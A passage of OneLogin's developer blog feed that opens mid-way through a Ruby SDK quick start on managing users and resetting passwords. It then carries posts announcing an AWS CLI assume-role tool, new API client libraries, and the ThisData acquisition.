&lt;div class=&quot;blog-border code&quot;&gt;&lt;code class=&quot;prettyprint lang-js&quot;&gt;gem install onelogin&lt;&#x2F;code&gt;&lt;&#x2F;div&gt;
&lt;h3 id=&quot;setting-up-the-client&quot;&gt;Setting up the Client&lt;&#x2F;h3&gt;
&lt;p&gt;Next step is to setup the OneLogin client in your Ruby code. The minimum requirement for setting up the client is to provide the &lt;strong&gt;client_id&lt;&#x2F;strong&gt; and &lt;strong&gt;client_secret&lt;&#x2F;strong&gt; that were generated by OneLogin when you setup the API Credentials in the previous step.&lt;&#x2F;p&gt;
&lt;p&gt;The optional &lt;strong&gt;region&lt;&#x2F;strong&gt; parameter is the location of your OneLogin instance and defaults to &lt;strong&gt;us&lt;&#x2F;strong&gt;. If your instance is located in our European data centers then set this to &lt;strong&gt;eu&lt;&#x2F;strong&gt;.&lt;&#x2F;p&gt;
&lt;div class=&quot;blog-border code&quot;&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;require &#x27;onelogin&#x27;
&lt;p&gt;client = OneLogin::Api::Client.new(
client_id: ‘’,
client_secret:‘’,
region: ‘us’
)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;h3 id=&quot;managing-users&quot;&gt;Managing Users&lt;&#x2F;h3&gt;
&lt;p&gt;A common use case for the OneLogin API is to list, create, and update users. It’s also possible to assign groups, roles, reset passwords, and many other admin type tasks but lets kick off with listing users.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;listing-users&quot;&gt;Listing Users&lt;&#x2F;h4&gt;
&lt;p&gt;To list all users in your account you will call &lt;code&gt;get_users&lt;&#x2F;code&gt;. It also supports filtering and paging to enable looping through your entire user base. See the &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developers.onelogin.com&#x2F;api-docs&#x2F;1&#x2F;users&#x2F;get-users&quot;&gt;API docs for a complete list of available filters&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Try the following Ruby code to list the full name of every user in your account.&lt;&#x2F;p&gt;
&lt;div class=&quot;blog-border code&quot;&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;client.get_users.each do |user|
    puts &quot;#{user.firstname} #{user.lastname}&quot;
end
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;div&gt;
Or perhaps just the first 5 users with a last name of Smith
&lt;div class=&quot;blog-border code&quot;&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;# List the first 5 users with the name of Joe
client.get_users(lastname: &#x27;Smith&#x27;).take(5).each do |user|
    puts &quot;#{user.firstname} #{user.lastname}&quot;
end
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;div&gt;
&lt;h4 id=&quot;changing-a-user-s-password&quot;&gt;Changing a user’s password&lt;&#x2F;h4&gt;
&lt;p&gt;&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developers.onelogin.com&#x2F;api-docs&#x2F;1&#x2F;users&#x2F;set-password-in-cleartext&quot;&gt;Resetting a password via API&lt;&#x2F;a&gt; is a common task and we find that the reason varies between customers so we won’t jump into why you might want to do it but will cover how.&lt;&#x2F;p&gt;
&lt;p&gt;First of you will need to obtain the unique identifier for the user that you want to reset password for. You can do this by filtering by their email address and remember that &lt;code&gt;get_users&lt;&#x2F;code&gt; returns a list so you will want to fetch the first result. Let’s go into our Ruby code editor:&lt;&#x2F;p&gt;
&lt;div class=&quot;blog-border code&quot;&gt;&lt;code class=&quot;prettyprint lang-js&quot;&gt;user = client.get_users(email: &#x27;alice@onelogin.com&#x27;).first&lt;&#x2F;code&gt;&lt;&#x2F;div&gt;
&lt;p&gt;Now take that user and set a new password.&lt;&#x2F;p&gt;
&lt;div class=&quot;blog-border code&quot;&gt;&lt;code class=&quot;prettyprint lang-js&quot;&gt;client.set_password_using_clear_text(user.id, &#x27;new-password&#x27;, &#x27;new-password&#x27;, true)&lt;&#x2F;code&gt;&lt;&#x2F;div&gt;
&lt;p&gt;Note that unless you’re using a third party provided user directory, by default any password policies or minimum password requirements will be ignored when using this admin API. However, you can enforce password policy validation by setting the the final attribute of the method to true.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;using-the-console&quot;&gt;Using the console&lt;&#x2F;h4&gt;
&lt;p&gt;This was a quick start on using the official OneLogin Ruby SDK with the goal of helping to get you set up and making requests. If you want to further explore the SDK and our APIs without having to build an entire app I recommend using a nifty command line console that is included with the gem.&lt;&#x2F;p&gt;
&lt;p&gt;To do this you will need to pull the source for the SDK from GitHub, using Terminal or PowerShell:&lt;&#x2F;p&gt;
&lt;div class=&quot;blog-border code&quot;&gt;&lt;code class=&quot;prettyprint lang-js&quot;&gt;git clone https:&#x2F;&#x2F;github.com&#x2F;onelogin&#x2F;onelogin-ruby-sdk.git&lt;&#x2F;code&gt;&lt;&#x2F;div&gt;
&lt;p&gt;Then jump into the code you just pulled down and do a one time setup. On Terminal it will look like this:&lt;&#x2F;p&gt;
&lt;div class=&quot;blog-border code&quot;&gt;&lt;code class=&quot;prettyprint lang-js&quot;&gt;cd onelogin-ruby-sdk &amp;&amp; bin&#x2F;setup&lt;&#x2F;code&gt;&lt;&#x2F;div&gt;
&lt;p&gt;Now enter the console:&lt;&#x2F;p&gt;
&lt;div class=&quot;blog-border code&quot;&gt;&lt;code class=&quot;prettyprint lang-js&quot;&gt;bin&#x2F;console&lt;&#x2F;code&gt;&lt;&#x2F;div&gt;
&lt;p&gt;And you’re ready to start making request with the sdk already being “required” for you. In Ruby we can write the following:&lt;&#x2F;p&gt;
&lt;div class=&quot;blog-border code&quot;&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;client = OneLogin::Api::Client.new(
    client_id: &#x27;&#x27;,
    client_secret:&#x27;&#x27;
)
&lt;p&gt;latest_event = client.get_events.first
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;&#x2F;h3&gt;
&lt;p&gt;This was a quick start to using the OneLogin for Ruby SDK and had the main goal of getting you setup and making requests to the OneLogin API. We didn’t dive deep into all of the functionality provided by our APIs but we intend to cover more specific use cases in subsequent posts.&lt;&#x2F;p&gt;
&lt;p&gt;If you can’t wait for the next blog post then you can jump in and &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developers.onelogin.com&#x2F;api-docs&#x2F;1&#x2F;getting-started&#x2F;dev-overview&quot;&gt;explore the API reference&lt;&#x2F;a&gt; and quickly make test calls via the SDKs built in console.&lt;&#x2F;p&gt;
&lt;p&gt;Enjoy!&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>How to control access to AWS using a terminal</title>
        <published>2017-10-19T00:00:00+00:00</published>
        <updated>2017-10-19T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://developers.onelogin.com/blog/how-to-control-access-to-aws-using-a-terminal/"/>
        <id>https://developers.onelogin.com/blog/how-to-control-access-to-aws-using-a-terminal/</id>
        
        <content type="html" xml:base="https://developers.onelogin.com/blog/how-to-control-access-to-aws-using-a-terminal/">&lt;p&gt;So you’ve got a team of developers working on projects that run on &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.onelogin.com&#x2F;partners&#x2F;isv-partners&#x2F;aws&quot;&gt;Amazon Web Services&lt;&#x2F;a&gt; (AWS) and they all need programmatic access to various AWS resources.&lt;&#x2F;p&gt;
&lt;p&gt;How do you grant AWS access to these developers? Well, if you know AWS then you will know they need AWS access credentials. This gives them the ability to access the resources they require and it’s fairly easy to set up.&lt;&#x2F;p&gt;
&lt;p&gt;But what happens when your developers are accessing multiple different AWS accounts and have different access levels or roles in each of those accounts? You can start issuing AWS credentials for each developer under each account and for each role but that is quickly going to turn into a massive management headache that you know you don’t have time for.&lt;&#x2F;p&gt;
&lt;p&gt;So what can you do? Well OneLogin has a nifty new command line tool that solves all of these issues for you. We call it &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;onelogin&#x2F;onelogin-aws-cli-assume-role&quot; target=&quot;_blank&quot;&gt;OneLogin AWS CLI Assume Role&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;The OneLogin AWS CLI tool saves both AWS administration time and improves developer productivity by letting you manage user access via your OneLogin portal and issuing temporary AWS credentials via a simple command line interface.&lt;&#x2F;p&gt;
&lt;p&gt;Better yet, it means that you will never have to manually issue multiple AWS credentials for your developers ever again.&lt;&#x2F;p&gt;
&lt;p&gt;Here’s what it looks like for a developer that needs to login to AWS to access an app. Notice how they can specify their AWS app, region, and role, along with their OneLogin instance – all from the command line interface.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;onelogin-aws-cli-2-copy_2.gif&quot; alt=&quot;Command line login to AWS&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;It also automatically supports &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.onelogin.com&#x2F;product&#x2F;multi-factor-authentication&quot;&gt;Multi Factor Authentication&lt;&#x2F;a&gt; (MFA) by conveniently prompting for a token if one is required. This is incredibly important because AWS developer accounts are privileged and should be protected with MFA.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;GIF_2_MFA.gif&quot; alt=&quot;MFA required prompt&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;how-do-i-get-it&quot;&gt;How do I get it?&lt;&#x2F;h3&gt;
&lt;p&gt;We have a detailed help doc that takes you through the steps required to get this up and running. But in brief, this is how it works:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;em&gt;You setup an AWS Multi Account app in your OneLogin account. Note that you still need to use the Multi Account app even if you only have one AWS account.&lt;&#x2F;em&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;em&gt;You issue a set of Authentication Only level OneLogin API credentials and issue these to all your developers.&lt;&#x2F;em&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;em&gt;Your developers download the &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;onelogin&#x2F;onelogin-aws-cli-assume-role&#x2F;tree&#x2F;master&#x2F;onelogin-aws-assume-role-cli&#x2F;dist&quot; target=&quot;_blank&quot;&gt;OneLogin AWS CLI binary from our Github repository&lt;&#x2F;a&gt; and configure it with the API credentials you provided.&lt;&#x2F;em&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;em&gt;Each developer executes the binary from the command line and is prompted for their OneLogin username, password, and MFA token if you have that enabled.&lt;&#x2F;em&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;em&gt;Once the developer is authenticated, they are prompted with a list of available AWS accounts and roles that they can access. They select one and are magically presented with the appropriate AWS credentials.&lt;&#x2F;em&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;If you’re feeling the pain of managing access to multiple accounts, with multiple roles for multiple people then this new CLI tool will change your life. Give it a try now!&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Go beyond the login with OneLogin&#x27;s new Developer SDKs</title>
        <published>2017-10-05T00:00:00+00:00</published>
        <updated>2017-10-05T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://developers.onelogin.com/blog/go-beyond-the-login-with-onelogins-new-developer-sdks/"/>
        <id>https://developers.onelogin.com/blog/go-beyond-the-login-with-onelogins-new-developer-sdks/</id>
        
        <content type="html" xml:base="https://developers.onelogin.com/blog/go-beyond-the-login-with-onelogins-new-developer-sdks/">&lt;p&gt;At OneLogin we have a rich history of great support for SAML connectors of all shapes, sizes and languages. Back in 2010, we &lt;a href=&quot;&#x2F;docs&#x2F;saml&quot;&gt;released our first SAML developer toolkit&lt;&#x2F;a&gt;, and we’ve continued to refine it ever since on our &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;onelogin&quot; target=&quot;_blank&quot;&gt;public GitHub repo&lt;&#x2F;a&gt;. These SAML connectors, and the &lt;a href=&quot;https:&#x2F;&#x2F;www.samltool.com&#x2F;&quot; target=&quot;_blank&quot;&gt;SAML tutorials&lt;&#x2F;a&gt; on SAMLtool.com, have enabled thousands of developers to connect their apps and make it super easy for users to access applications via &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.onelogin.com&#x2F;lp&#x2F;demo?v=bf&amp;amp;utm_term=watch&amp;amp;headline=OneLogin%E2%84%A2+Single+Sign-On+Solution&quot;&gt;Single Sign On&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;The natural evolution of our customers is to next start thinking about &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;onelogin.service-now.com&#x2F;support&#x2F;?id=kb_article&amp;amp;sys_id=92999903db109700d5505eea4b961942&quot;&gt;user management&lt;&#x2F;a&gt;, &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;onelogin.service-now.com&#x2F;support&#x2F;?id=kb_article&amp;amp;sys_id=7f3ad943db109700d5505eea4b9619c6&quot;&gt;role assignment&lt;&#x2F;a&gt;, &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;onelogin.service-now.com&#x2F;support&#x2F;?id=kb_article&amp;amp;sys_id=1b0a9543db109700d5505eea4b9619d4&quot;&gt;password resets&lt;&#x2F;a&gt;, &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;support.onelogin.com&#x2F;hc&#x2F;en-us&#x2F;sections&#x2F;200708764-Multifactor-Authentication&quot;&gt;multi factor authentication&lt;&#x2F;a&gt;, and &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;onelogin.service-now.com&#x2F;support&#x2F;?id=kb_article&amp;amp;sys_id=3ee9d143db109700d5505eea4b961977&quot;&gt;adaptive authentication&lt;&#x2F;a&gt;. This is where developers will find the OneLogin admin and user management APIs invaluable.&lt;&#x2F;p&gt;
&lt;p&gt;Our admin APIs are &lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Representational_state_transfer&quot; target=&quot;_blank&quot;&gt;RESTful&lt;&#x2F;a&gt; and provide a programmatic way to achieve most of the key tasks related to user management. They’re not quite a perfect mirror in terms of functionality with what you can do in the admin portal yet but we’re steadily working towards that goal.&lt;&#x2F;p&gt;
&lt;p&gt;Today, we’re excited to announce 4 new flavors of API client libraries which will make it faster and easier to integrate with other systems or complete tasks in bulk.&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;onelogin&#x2F;onelogin-ruby-sdk&quot; target=&quot;_blank&quot;&gt;Ruby&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;onelogin&#x2F;onelogin-python-sdk&quot; target=&quot;_blank&quot;&gt;Python&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;onelogin&#x2F;onelogin-java-sdk&quot; target=&quot;_blank&quot;&gt;Java&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;onelogin&#x2F;onelogin-php-sdk&quot; target=&quot;_blank&quot;&gt;PHP&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;The libraries are all open sourced and mirror functionality with our current APIs. We also plan on releasing official libraries in other popular languages and are committed to continuously updating with new features and functionality.&lt;&#x2F;p&gt;
&lt;p&gt;Moving forward you can expect to see an increase in developer-related blog content from us as we hope to showcase the power of our APIs and how you can use them to quickly achieve tasks in your language of choice.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Why ThisData has joined with OneLogin</title>
        <published>2017-06-29T00:00:00+00:00</published>
        <updated>2017-06-29T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://developers.onelogin.com/blog/why-thisdata-has-joined-with-onelogin/"/>
        <id>https://developers.onelogin.com/blog/why-thisdata-has-joined-with-onelogin/</id>
        
        <content type="html" xml:base="https://developers.onelogin.com/blog/why-thisdata-has-joined-with-onelogin/">&lt;p&gt;Today I’m really excited to announce that ThisData has joined forces with OneLogin. But before I jump into the reasons why this will be awesome for both our customers and the future of account security, I want to roll back and tell you about how we got here.&lt;&#x2F;p&gt;
&lt;p&gt;In early 2015 ThisData raised capital on a mission to help people protect their data. We discovered that over 90% of data loss was as a result of compromised user accounts, so we set about developing a system for determining how likely the current user of an app was actually who they say they are.&lt;&#x2F;p&gt;
&lt;p&gt;In the early days, we would simply track the known IP addresses, devices and browsers for a user, and produce a risk score for every login to an app. If we detected a high-risk login, we could send a webhook to our customers’ app to enable security automation, and also send end user notifications asking “was this you?”.&lt;&#x2F;p&gt;
&lt;p&gt;Over time we’ve come up with more sophisticated ways to identify a user, improve our accuracy, and make better use of the growing dataset of behavioral attributes. With more data available we’ve been able to run extensive machine learning experiments and, as a result, we’ve started to replace parts of our risk pipeline with the best performing algorithms.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;AdaptiveAuth_large.jpg&quot; alt=&quot;Adaptiveauth Large screenshot&quot; &#x2F;&gt;
&lt;br&gt;
Fast forward a couple of years, and we’re more obsessed than ever with solving a problem that seems to be continually getting worse. Password reuse attacks are at an all-time high, fuelled by the &lt;a href=&quot;https:&#x2F;&#x2F;www.troyhunt.com&#x2F;password-reuse-credential-stuffing-and-another-1-billion-records-in-have-i-been-pwned&#x2F;&quot; target=&quot;_blank&quot;&gt;billions of user credentials&lt;&#x2F;a&gt; that have been dumped online over the past few years.&lt;&#x2F;p&gt;
&lt;p&gt;So - why OneLogin? I realized that we need to grow faster and to increase our market reach we had a couple of options, including raising additional capital or finding a partner to help drive our growth. I had witnessed the meteoric growth of my previous company (&lt;a href=&quot;https:&#x2F;&#x2F;www.litmos.com&#x2F;)&quot; target=&quot;_blank&quot;&gt;Litmos.com&lt;&#x2F;a&gt; after we were acquired by &lt;a href=&quot;https:&#x2F;&#x2F;www.sap.com&#x2F;acquired-brands&#x2F;what-is-calliduscloud.html&quot; target=&quot;_blank&quot;&gt;CallidusCloud&lt;&#x2F;a&gt;, who had more resources than us and a far greater reach.&lt;&#x2F;p&gt;
&lt;p&gt;We had been working closely with OneLogin for a number of months helping with &lt;a href=&quot;https:&#x2F;&#x2F;www.onelogin.com&#x2F;learn&#x2F;what-why-adaptive-authentication&quot; target=&quot;_blank&quot;&gt;adaptive authentication&lt;&#x2F;a&gt; and improving user experience by only asking for one-time passwords on logins with elevated risk. OneLogin is a leader in a high-growth industry that can help millions of users protect their accounts and their data. The team was great to work with and shared our vision for helping users, so naturally it made sense to explore how a more formal relationship might work.&lt;&#x2F;p&gt;
&lt;p&gt;Move forward a few more months and here we are, incredibly excited about the future of our work and how we can help OneLogin offer safer more usable experiences to their customers.&lt;&#x2F;p&gt;
&lt;p&gt;So how will this affect ThisData customers? For you it’s business as usual, we will continue to develop and support our core APIs, and you can use the same channels to reach support and account management. We do plan on integrating our services more tightly with the rest of OneLogin so you may see some changes to UI but we will keep you updated on when and how this will happen.&lt;&#x2F;p&gt;
</content>
        
    </entry>
</feed>
